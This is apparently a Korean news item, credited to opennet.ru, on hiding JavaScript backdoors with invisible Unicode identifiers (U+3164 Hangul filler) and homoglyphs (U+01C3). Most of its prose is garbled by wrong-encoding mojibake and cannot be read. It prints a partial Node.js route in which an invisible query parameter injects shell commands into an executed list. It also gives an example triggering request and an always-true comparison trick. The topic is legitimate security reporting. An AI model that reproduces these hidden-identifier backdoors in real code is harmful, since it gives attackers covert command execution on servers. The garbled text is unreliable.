์๋ฐฉํฅ ํ ์คํธ์ ํ์ ์์๋ฅผ ๋ณ๊ฒฝํ๋ ์ ๋์ฝ๋ ๋ฌธ์ ์ฌ์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํ๋ Trojan Source ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์ด์ด JavaScript ์ฝ๋์ ์ ์ฉํ ์ ์๋ ์จ๊ฒจ์ง ๋์์ ๋์ ํ๋ ๋ ๋ค๋ฅธ ๊ธฐ์ ์ด ๊ฒ์๋์์ต๋๋ค. ์๋ก์ด ๋ฐฉ์์ ๊ธ์์ง๋ง ๋์ ๋ณด์ด๋ ๋ด์ฉ์ด ์๋ ์ ๋์ฝ๋ ๋ฌธ์ "ใ ค"(์ฝ๋ 0x3164, "HANGUL FILLER")์ ์ฌ์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ด ๋ฌธ์๊ฐ ์ํ ์ ๋์ฝ๋ ๋ฒ์ฃผ๋ JavaScript ๋ณ์ ์ด๋ฆ์ ์ฌ์ฉํ๊ธฐ ์ํ ECMAScript 2015 ์ฌ์ ์ดํ๋ก ํ์ฉ๋์ด Notepad++ ๋ฐ VS Code์ ๊ฐ์ ๋๋ฆฌ ์ฌ์ฉ๋๋ ์ฝ๋ ํธ์ง๊ธฐ์์ ๋ณด์ด์ง ์๋ ๋ณ์ ๋๋ ๋ค๋ฅธ ๋ณ์์ ๊ตฌ๋ณํ ์ ์๋ ์ ๋ณ์๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด Node.js ํ๋ซํผ์ ๋ํ ์ฝ๋๊ฐ ์ ๊ณต๋๋ฉฐ ๋จ์ผ ๋ฌธ์ "ใ ค"๋ก ๊ตฌ์ฑ๋ ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ง์ ํ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๋ฐฑ๋์ด๊ฐ ์จ๊ฒจ์ง๋๋ค. app.get( '/network_health', async (req, res) = > { const { timeout,ใ ค} = req.query; // ์ค์ ๋ก๋ "const { timeout,ใ ค \u3164}"๋ผ๊ณ ํฉ๋๋ค. const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ใ ค // ์ผํ ๋ค์์ \u3164 ];
์ธ๋ป ๋ณด๊ธฐ์ ์ธ๋ถ ๋งค๊ฐ๋ณ์๋ฅผ ํตํด ํ์์์ ๊ฐ๋ง ์ ๋ฌ๋๊ณ ์คํํ ๋ช ๋ น์ด ํฌํจ๋ ๋ฐฐ์ด์๋ ๋ฌดํดํ ๊ณ ์ ๋ชฉ๋ก์ด ํฌํจ๋์ด ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ค์ ๋ก๋ ํ์์์ ๋ณ์ ์ดํ์ ์ฌ๋ณผ ์ฝ๋ \u3164๋ฅผ ๊ฐ์ง ๋ ๋ค๋ฅธ ๋ณด์ด์ง ์๋ ๋ณ์์ ๊ฐ์ด ํ ๋น๋๋ฉฐ, ์ด ์ญ์ ์คํ ๊ฐ๋ฅํ ๋ช ๋ น์ ๋ฐฐ์ด๋ก ๋์ฒด๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ด๋ฌํ ๊ตฌ์กฐ๊ฐ ์๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๋ ๋ฐฑ๋์ด๋ฅผ ํ์ฑํํ๊ณ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด "https://host:8080/network_health?%E3%85%A4=command"์ ๊ฐ์ ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค.
๋ ๋ค๋ฅธ ์๋ก ๋ฌธ์ "ว"(ALVEOLAR CLICK)๊ฐ ์ฃผ์ด์ ธ ๋๋ํ๋ฅผ ๋ํ๋ด๋ ๋ชจ์์ ์ ๊ณตํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด Node.js 14์์ ์คํ๋ ๋ "if(environmentว=ENV_PROD){" ํํ์์ ์ฐจ์ด๋ฅผ ํ์ธํ์ง ์๊ณ "environmentว" ๋ณ์๋ฅผ ENV_PROD๋ก ์ค์ ํ๊ธฐ ๋๋ฌธ์ ํญ์ ์ฐธ์
๋๋ค. ์คํด์ ์์ง๊ฐ ์๋ ์ ๋์ฝ๋ ๋ฌธ์์๋ "๏ผ", "โ", "๏ผ", "โฉต", "โจ", "โซฝ", "๊ฟ" ๋ฐ "โ"๊ฐ ์์ต๋๋ค.
์ถ์ฒ : opennet.ru